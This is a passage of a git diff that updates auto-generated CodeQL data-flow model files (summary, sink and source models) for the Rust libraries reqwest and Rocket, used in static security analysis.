["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DnsResolverWithOverrides::dns_resolver]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DynResolver::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::without_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::maybe_has_http_auth", "Argument[self].Field[crate::proxy::Matcher::maybe_has_http_auth]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::maybe_has_http_custom_headers", "Argument[self].Field[crate::proxy::Matcher::maybe_has_http_custom_headers]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom_http_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::All(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Http(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Https(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_matcher", "Argument[self].Field[crate::proxy::Proxy::extra]", "ReturnValue.Field[crate::proxy::Matcher::extra]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_matcher", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Custom(0)]", "ReturnValue.Field[crate::proxy::Matcher::inner].Field[crate::proxy::Matcher_::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "Argument[self].Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "ReturnValue.Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_proxy_scheme", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::previous", "Argument[self].Field[crate::redirect::Attempt::previous]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::status", "Argument[self].Field[crate::redirect::Attempt::status]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::redirect::Attempt::next]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::limited", "Argument[0]", "ReturnValue.Field[crate::redirect::Policy::inner].Field[crate::redirect::PolicyKind::Limit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[0]", "Argument[self].Field[crate::redirect::TowerRedirectPolicy::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[0]", "ReturnValue.Field[crate::redirect::TowerRedirectPolicy::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[0]", "Argument[self].Field[crate::redirect::TowerRedirectPolicy::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[0]", "ReturnValue.Field[crate::redirect::TowerRedirectPolicy::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] @@ -359,11 +404,11 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::server::Server::addr]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::clone", "Argument[self].Field[crate::tls::ClientCert::Pem::certs].Reference", "ReturnValue.Field[crate::tls::ClientCert::Pem::certs]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::tls::IgnoreHostname::roots]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::tls::IgnoreHostname::signature_algorithms]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::peer_certificate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::util::Escape(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::inner]", "value", "dfc-generated"] @@ -379,19 +424,37 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::execute", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::wait::timeout", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "Argument[0]", "transmission", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sourceModel data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_env", "ReturnValue", "environment", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml b/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml new file mode 100644 index 00000000000..f9148a8e630 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::cookies", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml b/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml new file mode 100644 index 00000000000..b5d6fb686d5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::fairings", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml index 76cd9d7618e..3ffcc568546 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml @@ -4,31 +4,72 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::form::from_form_field::FromFormField>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::config::config::Config as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::config::secret_key::SecretKey as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::cookies::CookieJar as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::data::limits::Limits as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::header::accept::Accept as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::header::content_type::ContentType as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::raw_str::RawStr as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::raw_str::RawStr as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::route::route::Route as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::state::State as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::uri::host::Host as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::uri::origin::Origin as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::form::from_form_field::FromFormField>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::request::from_param::FromParam>::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Cloneable>::clone_handler", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[0]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[self]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form_field::FromFieldContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::name]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_name].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::value]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_value].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Cloneable>::clone_handler", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[0]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::Singleton(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::catcher::catcher::StaticInfo::handler]", "ReturnValue.Field[crate::catcher::catcher::Catcher::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::catcher::catcher::Catcher::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::catcher::catcher::Catcher::handler].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::MapContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::MapContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ca_certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "Argument[self].Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "ReturnValue.Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] @@ -51,6 +92,9 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[1]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0].Field[crate::form::field::ValueField::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -64,17 +108,21 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::N::written]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::local", "Argument[0]", "ReturnValue.Field[crate::data::data::Data::buffer]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek", "Argument[self].Field[crate::data::data::Data::buffer].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek_complete", "Argument[self].Field[crate::data::data::Data::is_complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Body(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Multipart(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::io_stream::IoStream::kind].Field[crate::data::io_stream::IoStreamKind::Upgraded(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shutdown", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind].Field[crate::error::ErrorKind::Shutdown(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::io", "Argument[self].Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - 